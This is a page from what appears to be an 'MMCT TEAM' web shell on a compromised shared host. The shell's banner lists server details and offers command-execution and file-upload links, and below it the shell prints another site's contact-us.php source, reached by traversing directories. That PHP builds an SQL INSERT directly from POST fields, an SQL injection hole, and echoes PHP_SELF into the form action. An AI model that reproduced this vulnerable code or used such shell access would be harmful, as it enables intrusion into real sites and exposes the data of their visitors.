MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.117.232.215
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/fastelevator.in/../procompliance.in/../joshidiagnosticcentre.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/fastelevator.in/../procompliance.in/../joshidiagnosticcentre.com/contact-us.php
<?php
   include('admin/config.php');
   if(isset($_POST['submit'])) 
     { 
   
       $name = $_POST['name'];
       $phone = $_POST['phone'];
       $email = $_POST['email'];
       $message = $_POST['message'];

        $sql= "INSERT INTO `query_page`(`name`, `phone`, `email`, `message`) VALUES ('$name','$phone','$email','$message')";
       // echo "<br> <h1>No image</h1>";
   
       $result = mysqli_query($db, $sql) or die("Query unsuccessful");
       // echo "<br> <h1>No image</h1>";
   
       if($result){
         echo ("<script>
          window.alert('Succesfully Updated');
          window.location.href='contact-us.php';
          </script>");
        
          mysqli_close($db);
       }else{
       //    
       echo "Not Sybmitted";
       }
    }
?>
<!DOCTYPE html>
<html class="" lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    
    <?php include "top-links.php";?>
    
    <title><?php echo $data["meta_title"];?></title>
    <meta name="description" content="<?php echo $data["meta_desc"];?>">
    
</head>

<body class="">

    <?php include "header.php";?>
    <section class="text-white py-3 py-md-4 py-lg-5" id="section-header">
        <div class="container">
            <h1 class="text-center mb-3">Contact Us</h1>
            <div class="row justify-content-center">
                <div class="col-md-10 col-lg-9 col-xl-8">
                    <!-- <p class="lead text-center mb-0">If you have questions about our services, do not hesitate to contact us anytime.</p> -->
                </div>
            </div>
        </div>
    </section>
    <div class="container">
        <ol class="breadcrumb">
            <li class="breadcrumb-item"><a href="<?php echo $wspath ?>">Home</a></li>
            <li class="breadcrumb-item active">Contact Us</li>
        </ol>
    </div>
    
    <iframe src="<?php echo $data['map_link']?>" width="100%" height="450" frameborder="0" style="border:0" allowfullscreen=""></iframe>
        
    
    <section class="py-3 py-md-4 py-lg-5">
        <div class="container">
            <div class="row">
                <div class="col-lg-6">
                    <div class="card shadow mb-3 mb-lg-0" style="margin-top: -200px">
                        <div class="card-body p-3 p-md-4 p-lg-5">
                            <h3 class="card-title text-primary">Enquiry</h3>
                            <p class="card-text mb-3 mb-md-4 mb-lg-5">Submit an enquiry with us and one of our
                                executives shall get back to you shortly.</p>
                            <form id="contact-form" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
                                <!-- <input type="hidden" name="_token" value="WUr7YPVoFe0ZL5l6zQ5288VBVkEZefds8imN3kOa"> -->
                                <div class="row">
                                    <div class="col-sm-6">
                                        <div class="form-group">
                                            <label for="enquiry-name">Name <span class="text-danger">&ast;</span></label>
                                            <input class="form-control form-control-lg " id="enquiry-name" name="name" type="text" required >
                                        </div>
                                    </div>
                                    <div class="col-sm-6">
                                        <div class="form-group">
                                            <label for="enquiry-phone">Phone number <span class="text-danger">&ast;</span></label>
                                            <input class="form-control form-control-lg " id="enquiry-phone" name="phone" required type="tel" >
                                        </div>
                                    </div>
                                </div>
                                <div class="form-group">
                                    <label for="enquiry-email">Email address</label>
                                    <input class="form-control form-control-lg " id="enquiry-email" name="email" type="email" >
                                </div>
                                <div class="form-group">
                                    <label for="enquiry-message">Message <span class="text-danger">&ast;</span></label>
                                    <textarea class="form-control form-control-lg " id="enquiry-message" name="message" required></textarea>
                                </div>
                                <button class="btn btn-secondary btn-lg" name="submit">Submit<i class="fas fa-arrow-right ml-1"></i></button>
                            </form>
                        </div>
                    </div>
                </div>
                <div class="col-lg-6">
                    <div class="card bg-light border-0">
                        <div class="card-body">
                            <div class="row">
                                <div class="col-md-6">
                                    <p class="text-secondary"><i class="fas fa-headset fa-2x"></i></p>
                                    <strong>Phone:</strong><br>
                                    <a class="text-body" onclick="gtag_report_conversion();"
                                        href="tel:<?php echo $data['phone'];?>"><?php echo $data['phone'];?></a>
                                </div>
                                <div class="col-md-6">
                                    <p class="text-secondary"><i class="fas fa-envelope-open-text fa-2x"></i></p>
                                    <strong>Email:</strong><br>
                                    <a class="text-body" href="mailto:<?php echo $data['email'];?>"><?php echo $data['email'];?></a>
                                </div>
                            </div>
                            <hr>
                            <p class="card-text text-secondary"><i class="fas fa-map-marked-alt fa-2x"></i></p>
                            <strong>Address</strong>
                            <div class="row text-left mt-2">
                                <div class="col-sm-12 col-md-6">
                                    <!-- <h6><strong><i>Delhi</i></strong></h6> -->
                                    <address><?php echo $data['address'];?></address>
                                </div>
                            </div>
                            <hr>
                            <!--<p class="card-text text-right"><strong>Timings:</strong> 09:00 am - 09:00 pm</p>-->
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
    <?php include "footer.php";?>
</body>

</html>

MMCT - 2023